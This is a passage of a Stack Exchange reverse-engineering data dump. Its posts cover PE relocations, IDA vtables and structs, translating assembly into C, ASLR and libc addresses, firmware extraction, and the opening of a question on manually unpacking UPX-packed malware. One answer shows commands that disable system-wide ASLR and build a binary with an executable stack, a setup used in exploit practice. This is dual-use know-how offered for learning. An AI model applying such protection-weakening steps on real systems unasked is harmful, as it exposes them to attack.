4.0" />
  <row Id="20058" PostTypeId="2" ParentId="20057" CreationDate="2018-12-05T20:08:22.033" Score="2" Body="&lt;p&gt;It is Called Relocation&lt;br&gt;&#xA;Every Executable has a section called .reloc  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this Section contains details about all addresses that needs to be patched if the imagebase changes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the loader uses this section to change all the modified base address &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example win7 x86 32 bit calc.exe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;disassembly from cdb.exe (randomised image base )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;002616a3 ff15f4132600    call    dword ptr [calc!_imp__LoadStringW (002613f4)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembly from dumpbin (default imagebase)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpbin  /nologo c:\Windows\System32\calc.exe /disasm /range:0x10016A2,0x10016b1&#xA;&#xA;  010016A2: 50                 push        eax&#xA;  010016A3: FF 15 F4 13 00 01  call        dword ptr [__imp__LoadStringW@16]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you look at the .reloca section you will notice a HIGHLOW entry for address &#xA;&lt;strong&gt;6A5&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01&#xA;&#xA;000B9C00  00 10  ..&#xA;000B9C02  00 00  ..&#xA;000B9C04  B4 00  ´.&#xA;000B9C06  00 00  ..&#xA;000B9C08  41 36  A6&#xA;000B9C0A  52 36  R6&#xA;000B9C0C  A5 36  ¥6 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;000B9C0E  B3 36  ³6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the loader can patch the address at RVA ( ImageBase + base of Section + address ) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;imagebase = 0x1000000 + base of section = 0x1000 + HIGHLOW address = 6a5 &#xA;= 0x10016a5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at this address dumpbin has &lt;strong&gt;F4 13 00 01&lt;/strong&gt;  whereas cdb has &lt;strong&gt;f4 13 26 00&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the loader has patched it according to the image base &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11233/dumpbin-correlating-thunk-jumps-in-reloc-to-disassembly/11235#11235&quot;&gt;this post of mine has more details about what is patched&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;update wrt comment some exes dont have .reloc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;yes it is entirely possible to have exes without reloc&lt;br&gt;&#xA;infact there is a msvc linker switch /FIXED if passed produces exes without relocations   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in most of the cases exes can survive without relocations because they are the first to be loaded in Process Address Space&lt;br&gt;&#xA;so they tend to get their Preferred ImageBase always &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relocations matter most with Dlls especially those dlls that woud be Dynamically Loaded or loaded as a dependency to another dll &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this case clashes can happen and os needs a mechanism to relocate  the binary in question &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if windows cant relocate the dll it crashes the application with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cdb -c &quot;!error c0000018;q&quot; cdb | tail -n 3&#xA;0:000&amp;gt; cdb: Reading initial command '!error c0000018;q'&#xA;Error code: (NTSTATUS) 0xc0000018 (3221225496) - {Conflicting Address Range}  The specified address range conflicts with&#xA; the address space.&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-12-06T17:09:20.887" LastActivityDate="2018-12-06T17:09:20.887" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20059" PostTypeId="2" ParentId="20056" CreationDate="2018-12-05T20:37:33.337" Score="7" Body="&lt;p&gt;As far as I know, everything you've said is 100% correct. I've experienced the same issues. In fact, I was working on this exact problem in the background when a friend sent me a link to this post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are actually three related issues here. First, prior to IDA 7.2, IDA's type system did not have a concept of a virtual function table per se. Meaning, although you can create a structure with a bunch of function pointers in it, IDA did not have a mechanism for changing the type of the VTable pointer in a derived object. &quot;Derivation&quot; meant simply that everything from the base class was included literally at offset 0. Fortunately, IDA 7.2 does understand the concept of VTables in inheritance. There is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1691.shtml&quot; rel=&quot;noreferrer&quot;&gt;a bit of documentation&lt;/a&gt; on Hex-Rays' website. The end of that page summarizes the rules:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;VFT pointer must have the &quot;__vftable&quot; name&lt;/li&gt;&#xA;  &lt;li&gt;VFT type must follow the &quot;CLASSNAME_vtbl&quot; pattern&lt;/li&gt;&#xA;  &lt;li&gt;For multiple inheritance use &quot;CLASSNAME_%04X_vtbl&quot; as the VFT type name&#xA;  where %04X corresponds to the offset of the vft pointer in CLASSNAME&#xA;  in the case if the offset is not zero&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The second issue is that the PDB plugin currently does not take advantage of these recent changes to the type system. I.e., it does not generate VTable type/class VTable member names according to the rules above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third issue is that the PDB file format is, frankly, a nightmare. You can view the contents of a PDB with the &quot;dia2dump&quot; sample that comes with Visual Studio (in the &quot;DIA SDK&quot; directory), however, be forewarned that the output is often wrong, misleading, or missing important information. The handling of virtual function information is especially terrible. I haven't completed my investigations, but one thing I've learned so far is that only base classes have &lt;a href=&quot;https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/vtable?view=vs-2017&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;SymTagVTable&lt;/code&gt; symbols&lt;/a&gt;. I.e., for a class &lt;code&gt;B&lt;/code&gt; that derives from another class &lt;code&gt;A&lt;/code&gt; with a VTable, only &lt;code&gt;A&lt;/code&gt; will have a &lt;code&gt;SymTagVTable&lt;/code&gt; symbol, not &lt;code&gt;B&lt;/code&gt;. This is even true if &lt;code&gt;B&lt;/code&gt; defines additional virtual functions that were not defined in &lt;code&gt;A&lt;/code&gt;. And currently, the PDB plugin only creates VTables if the class has a &lt;code&gt;SymTagVTable&lt;/code&gt; symbol, hence the behavior that you are seeing. Instead, you have to iterate through the member functions of &lt;code&gt;B&lt;/code&gt; and check whether they are virtual using the &lt;a href=&quot;https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/idiasymbol-get-virtual?view=vs-2017&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;get_virtual&lt;/code&gt; method&lt;/a&gt; -- which, by the way, is something that dia2dump does not do. I'm still investigating how all of this works for multiple inheritance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the solution to your problem -- and my problem -- lies in modifying the IDA 7.2 PDB plugin (which comes with the SDK) to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Recover VTable information for derived classes, including the multiple inheritance scenario&lt;/li&gt;&#xA;&lt;li&gt;Name the VTable structure types in a suitable way based on the class names (and displacement offset in the case of multiple inheritance)&lt;/li&gt;&#xA;&lt;li&gt;Use the new features in &lt;code&gt;typeinf.hpp&lt;/code&gt; to mark the VTable pointer with attribute &lt;code&gt;TAFLD_VFTABLE&lt;/code&gt;, and the VTable structure itself with attribute &lt;code&gt;TAUDT_VFTABLE&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Again, this is what I am also currently working on.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2018-12-05T21:06:35.063" LastActivityDate="2018-12-05T21:06:35.063" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20061" PostTypeId="1" AcceptedAnswerId="20062" CreationDate="2018-12-06T01:39:14.970" Score="-1" ViewCount="4042" Body="&lt;p&gt;I have the following assembly. I don't know how to follow assembly. I was wondering if there is a way to convert assembly to a human readable pseudo code or better yet C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;init:&#xA; mov    eax, [ebp+8]    # pointer to key&#xA; push   eax&#xA; mov    eax, [ebp+c]    # pointer to ciphertext&#xA; push   eax&#xA; mov    eax, [ebp+10]   # ciphertext length&#xA; push   eax&#xA; mov    eax, [ebp+1c]   # pointer to plaintext&#xA; push   eax&#xA; xor    ecx, ecx    # loop counter&#xA;&#xA;loop:&#xA; xor    edx, edx&#xA; mov    eax, ecx&#xA; mov    ebx, 0x6&#xA; div    ebx&#xA;&#xA; mov    eax, [esp+c]&#xA; add    eax, edx&#xA; mov    al, byte ptr [eax]&#xA; sub    al, 0x41&#xA;&#xA; mov    ebx, [esp+8]&#xA; add    ebx, ecx&#xA; mov    bl, byte ptr [ebx]&#xA; sub    bl, 0x41&#xA;&#xA; sub    bl, al&#xA; jns    tail&#xA; add    bl, 0x1a&#xA;&#xA;tail:&#xA; add    bl, 0x41&#xA; mov    eax, [esp]&#xA; mov    [eax+ecx], bl&#xA;&#xA; inc    ecx&#xA; cmp    ecx, [esp+4]&#xA; jl loop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26634" LastEditorUserId="245" LastEditDate="2018-12-06T08:54:18.180" LastActivityDate="2018-12-12T03:49:28.277" Title="How to convert assembly to pseudo code?" Tags="|assembly|x86|c|" AnswerCount="1" CommentCount="0" ClosedDate="2018-12-06T14:02:43.810" ContentLicense="CC BY-SA 4.0" />
  <row Id="20062" PostTypeId="2" ParentId="20061" CreationDate="2018-12-06T03:40:33.683" Score="7" Body="&lt;p&gt;Although rewriting assembly to pseudo C is not technically reverse engineering, I'll try to help &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;init:&#xA; mov    eax, [ebp+8]&#xA; push   eax&#xA; mov    eax, [ebp+0xc]&#xA; push   eax&#xA; mov    eax, [ebp+0x10]&#xA; push   eax&#xA; mov    eax, [ebp+0x1c]&#xA; puse   eax&#xA; xor    ecx, ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This block just basically sets up parameters, as already mentioned &lt;code&gt;ecx&lt;/code&gt; is a &lt;code&gt;counter&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loop:&#xA; xor    edx, edx&#xA; mov    eax, ecx&#xA; mov    ebx, 0x6&#xA; div    ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here &lt;code&gt;edx&lt;/code&gt; is zeroed out, counter is moved to &lt;code&gt;eax&lt;/code&gt; and unsigned division by 6 is performed. &lt;code&gt;div&lt;/code&gt; stores the quotient in &lt;code&gt;eax&lt;/code&gt; and remainder in &lt;code&gt;edx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    eax, [esp+0xc]&#xA;add    eax, edx&#xA;mov    al, [eax]&#xA;sub    al, 0x41&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here pointer from the key is accessed at offset &lt;code&gt;edx&lt;/code&gt; and 0x41 is subtracted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char a = key[counter % 6] - 0x41;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On to the next block&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    ebx, [esp+8]&#xA;add    ebx, ecx&#xA;mov    bl, [ebx]&#xA;sub    bl, 0x41&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here pointer from the &lt;code&gt;ciphertext&lt;/code&gt; is accessed at offset &lt;code&gt;counter&lt;/code&gt; and 0x41 is subtracted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char b = ciphertext[counter] - 0x41;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub    bl, al&#xA;jns    tail&#xA;add    bl, 0x1a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;b&lt;/code&gt; are subtracted and if difference is less than zero 0x1a is added to &lt;code&gt;b&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b = b - a;&#xA;if(b &amp;lt; 0) b += 0x1a;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail:&#xA; add    bl, 0x41&#xA; mov    eax, [esp]&#xA; mov    byte ptr [eax+ecx], bl&#xA; inc    ecx&#xA; cmp    ecx, [esp+4]&#xA; jl loop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here 0x41 is added back to &lt;code&gt;b&lt;/code&gt; and its written to &lt;code&gt;plaintext&lt;/code&gt; at offset &lt;code&gt;counter&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plaintext[counter] = b+0x41;&#xA;counter++;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was done in a loop with &lt;code&gt;length&lt;/code&gt; as the limit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while(counter &amp;lt; length)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Equivalent complete code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void decode(char *key, char *ciphertext, size_t length, char *plaintext){&#xA;    size_t counter = 0; &#xA;    do{&#xA;        char diff = ciphertext[counter] - key[counter % 6];&#xA;        plaintext[counter++] = 0x41 + diff + (diff &amp;lt; 0 ? 0x1a : 0);&#xA;    }&#xA;    while(counter &amp;lt; length);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-12-12T03:49:28.277" LastActivityDate="2018-12-12T03:49:28.277" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20063" PostTypeId="1" AcceptedAnswerId="20064" CreationDate="2018-12-06T04:10:40.947" Score="1" ViewCount="307" Body="&lt;p&gt;If I have a binary file which does not have ASLR enabled. However, the libc file it uses has ASLR enabled, then will the address of system() in libc file be randomized every time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or the address will be the same every time because the binary itself does not have ASLR enabled?&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2018-12-06T04:54:38.507" Title="Question regarding ASLR" Tags="|linux|exploit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20064" PostTypeId="2" ParentId="20063" CreationDate="2018-12-06T04:30:38.490" Score="2" Body="&lt;p&gt;When the process is created it is the job of the loader to parse the ELF and allocate/map memory segments, resolve and load libraries. The base offset for any shared object is decided by the loader at load time. But this depends on the ASLR setting of the operating system, not the binary.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -m32 -no-pie -fno-pic -zexecstack untitled.c -o untitled&#xA;$ ldd ./untitled&#xA;    linux-gate.so.1 (0xf7f66000)&#xA;    libc.so.6 =&amp;gt; /lib/i386-linux-gnu/libc.so.6 (0xf7d4b000)&#xA;    /lib/ld-linux.so.2 (0xf7f68000)&#xA;$ ldd ./untitled&#xA;    linux-gate.so.1 (0xf7fd1000)&#xA;    libc.so.6 =&amp;gt; /lib/i386-linux-gnu/libc.so.6 (0xf7db6000)&#xA;    /lib/ld-linux.so.2 (0xf7fd3000)&#xA;$ ldd ./untitled&#xA;    linux-gate.so.1 (0xf7f8f000)&#xA;    libc.so.6 =&amp;gt; /lib/i386-linux-gnu/libc.so.6 (0xf7d74000)&#xA;    /lib/ld-linux.so.2 (0xf7f91000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However once system wide ASLR is disabled&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&#xA;0&#xA;$ ldd `which cat`&#xA;    linux-vdso.so.1 (0x00007ffff7ffa000)&#xA;    libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7831000)&#xA;    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)&#xA;$ ldd `which cat`&#xA;    linux-vdso.so.1 (0x00007ffff7ffa000)&#xA;    libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7831000)&#xA;    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)&#xA;$ ldd `which cat`&#xA;    linux-vdso.so.1 (0x00007ffff7ffa000)&#xA;    libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7831000)&#xA;    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Offset of system with respect to libc base should remain constant in a libc.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-12-06T04:54:38.507" LastActivityDate="2018-12-06T04:54:38.507" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20068" PostTypeId="1" CreationDate="2018-12-06T14:03:08.977" Score="2" ViewCount="1118" Body="&lt;p&gt;I updated a device over a firmware update software and sniffed the whole traffic with wireshark. There is a TCP Stream with ~30MB which I exported as raw data. The resulting file is &lt;code&gt;Zip archived data&lt;/code&gt; but it has a CRC error when I try to extract it with binwalk/7zip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to export as hex dump and make &lt;code&gt;xxd -r -p dump outfile&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the pcap file are many &lt;code&gt;TCP DUP ACK&lt;/code&gt; and &lt;code&gt;TCP Out-Of-Order&lt;/code&gt; packets. &#xA;I wonder if the exported binary takes over these dupes or out-of-order stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried &lt;code&gt;chaosreader -r dump.pcap&lt;/code&gt; still corrupt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extracting the .exe with 7zip failed also with checksum error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any of you have any idea what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="26639" LastActivityDate="2018-12-06T14:03:08.977" Title="Extracting Firmware file from Wireshark Dump" Tags="|firmware|wireshark|binwalk|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20069" PostTypeId="1" CreationDate="2018-12-06T15:01:06.870" Score="5" ViewCount="1041" Body="&lt;p&gt;I'm trying to figure out how to explore structs in IDA, and getting stuck on the basics. I wrote a very basic test app;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int main() {&#xA;    const int kBits = 1024;&#xA;    const int kExp = 3;&#xA;&#xA;    RSA *rsa = RSA_generate_key(kBits, kExp, 0, 0);&#xA;    RSA_print_fp(stdout, rsa, 0);&#xA;&#xA;    RSA_free(rsa);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I imported the OpenSSL headers, so IDA now understands what &lt;code&gt;RSA*&lt;/code&gt; and &lt;code&gt;BIGNUM*&lt;/code&gt; are. &lt;code&gt;BIGNUM&lt;/code&gt; is actually pointing to &lt;a href=&quot;https://github.com/openssl/openssl/blob/367ace6870e9cbc8fe21dff2ffe4673a98ea42f8/crypto/bn/bn_lcl.h#L218&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bignum_st&lt;/code&gt;&lt;/a&gt; which is referenced from RSA, which is &lt;a href=&quot;https://github.com/openssl/openssl/blob/39c44eee7fd89ce13e805873e1c43bd8e488a93f/crypto/rsa/rsa_locl.h#L28&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;rsa_st&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Then, dropped a breakpoint in the pseudocode view;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WPheF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WPheF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, if I hover over &lt;code&gt;v3&lt;/code&gt;, I see it's parsing the struct. So I want to do something like grab the value of &lt;code&gt;rsa-&amp;gt;d-&amp;gt;dmax&lt;/code&gt;, but there doesn't seem to be a way to do this? I can't seem to find a way to access &lt;code&gt;v3&lt;/code&gt; by name in IDAPython, nor can I seem to 'walk' the structure to get to the int that lives at &lt;code&gt;dmax&lt;/code&gt;. Is there some way to do this?&lt;/p&gt;&#xA;" OwnerUserId="26204" LastEditorUserId="245" LastEditDate="2023-01-18T08:13:12.430" LastActivityDate="2023-01-18T10:23:53.403" Title="Nested Structures in IDA" Tags="|ida|debugging|idapython|linux|hexrays|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20070" PostTypeId="1" AcceptedAnswerId="22398" CreationDate="2018-12-06T19:44:35.610" Score="4" ViewCount="705" Body="&lt;p&gt;I am currently trying to reverse-engineer the firmware of an E-Cigarette but I cannot find any clues with the common tools. Heres everything I found so far.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Binwalk doesnt recognize anything even with &lt;code&gt;-E&lt;/code&gt; or &lt;code&gt;-A&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Entropy = 7.611435 bits per byte.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optimum compression would reduce the size of this 80896 byte file by 4 percent.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Chi square distribution for 80896 samples is 99630.01, and randomly&#xA;would exceed this value less than 0.01 percent of the times.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Arithmetic mean value of data bytes is 117.2996 (127.5 = random).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Monte Carlo value for Pi is 3.078178312 (error 2.02 percent).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Serial correlation coefficient is 0.107920 (totally uncorrelated = 0.0).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it possible that this file is encrypted or compressed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a visualization of the entropy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rzF9c.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rzF9c.png&quot; alt=&quot;Entropy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the graph of the entropy:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fMYNn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fMYNn.png&quot; alt=&quot;Entropy_graph&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a download of the Firmware.&#xA;&lt;a href=&quot;https://www.file-upload.net/download-13422170/HW718V40_20171008.firmware.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.file-upload.net/download-13422170/HW718V40_20171008.firmware.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26643" LastEditorUserId="53" LastEditDate="2018-12-07T11:44:50.853" LastActivityDate="2019-10-26T07:32:27.227" Title="Problems with extracting firmware" Tags="|firmware|firmware-analysis|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20074" PostTypeId="1" AcceptedAnswerId="20111" CreationDate="2018-12-07T14:57:29.003" Score="1" ViewCount="757" Body="&lt;p&gt;I am trying to get a complete list of symbol names in IDA. All functions that return names operate primarily around looking at particular addresses and there corresponding entries in the symbol table, instead of looking at all the entries of the symbol table itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is okay until you have symbols that are at the same address, such as constructors and destructors for a class &lt;code&gt;C1&lt;/code&gt; and &lt;code&gt;C2&lt;/code&gt;, &lt;code&gt;D1&lt;/code&gt; and &lt;code&gt;D2&lt;/code&gt; (&lt;a href=&quot;https://itanium-cxx-abi.github.io/cxx-abi/abi.html#mangling-special-ctor-dtor&quot; rel=&quot;nofollow noreferrer&quot;&gt;as described in the C++ ABI&lt;/a&gt;). The traditional methods &lt;code&gt;get_func_name(ea)&lt;/code&gt; and &lt;code&gt;GetFunctionName(ea)&lt;/code&gt; don't work, because they only give one result for a given address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If multiple symbol names point to the same effective address, how can I get all of those symbol names?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class apple{&#xA;    public:&#xA;        apple(int a);&#xA;        ~apple();&#xA;};&#xA;&#xA;apple::apple(int a){}&#xA;apple::~apple(){}&#xA;&#xA;int main(){&#xA;    apple a = apple(1);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiling this with &lt;code&gt;g++ -o apple apple.cpp&lt;/code&gt; to get our executable and then running &lt;code&gt;readelf -s&lt;/code&gt; gives us, among other entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;53: 0000000000400554    11 FUNC    GLOBAL DEFAULT   14 _ZN5appleD1Ev&#xA;57: 0000000000400546    14 FUNC    GLOBAL DEFAULT   14 _ZN5appleC1Ei&#xA;65: 0000000000400546    14 FUNC    GLOBAL DEFAULT   14 _ZN5appleC2Ei&#xA;70: 0000000000400554    11 FUNC    GLOBAL DEFAULT   14 _ZN5appleD2Ev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice how &lt;code&gt;C1&lt;/code&gt; and &lt;code&gt;C2&lt;/code&gt; have the same address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, using IDAPython, we can use &lt;code&gt;idautils.Names()&lt;/code&gt; (as suggested) or any of the other methods previously discussed, in code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;for name in idautils.Names():&#xA;    print name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and we get results looking like, among other information that's not relevant, this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(4195654L, '_ZN5appleC2Ei')&#xA;(4195668L, '_ZN5appleD2Ev')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice how it only finds the &lt;code&gt;C2&lt;/code&gt; and &lt;code&gt;D2&lt;/code&gt; constructor / destructor, but not &lt;code&gt;C1&lt;/code&gt; and &lt;code&gt;D1&lt;/code&gt;. Is it possible to 'find' the &lt;code&gt;C1&lt;/code&gt; and &lt;code&gt;D1&lt;/code&gt; constructor / destructor with IDA?&lt;/p&gt;&#xA;" OwnerUserId="24714" LastEditorUserId="24714" LastEditDate="2018-12-10T13:59:43.937" LastActivityDate="2018-12-10T14:44:14.327" Title="Get Multiple Function Names for One Address in IDA" Tags="|ida|idapython|elf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20076" PostTypeId="1" AcceptedAnswerId="20290" CreationDate="2018-12-07T18:16:48.837" Score="3" ViewCount="663" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QXBJr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QXBJr.png&quot; alt=&quot;Packed w/ UPX - can see 0/1 in sections&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The malware is packed w/ UPX - can see 0/1 in sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, I can can a tool or even use UPX -d -o flags .exe to create an unpacked copy with a &gt;97% ratio, however I want to MANUALLY unpack it to keep practicing my skills and to get better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opening the .exe (MD5 for malware: 9fbdc5eca123e81571e8966b9b4e4a1e) with OllyDbg brings us right to the POPAD instruction and several usual follow-on calls on the stack that also let us know it's typical UPX 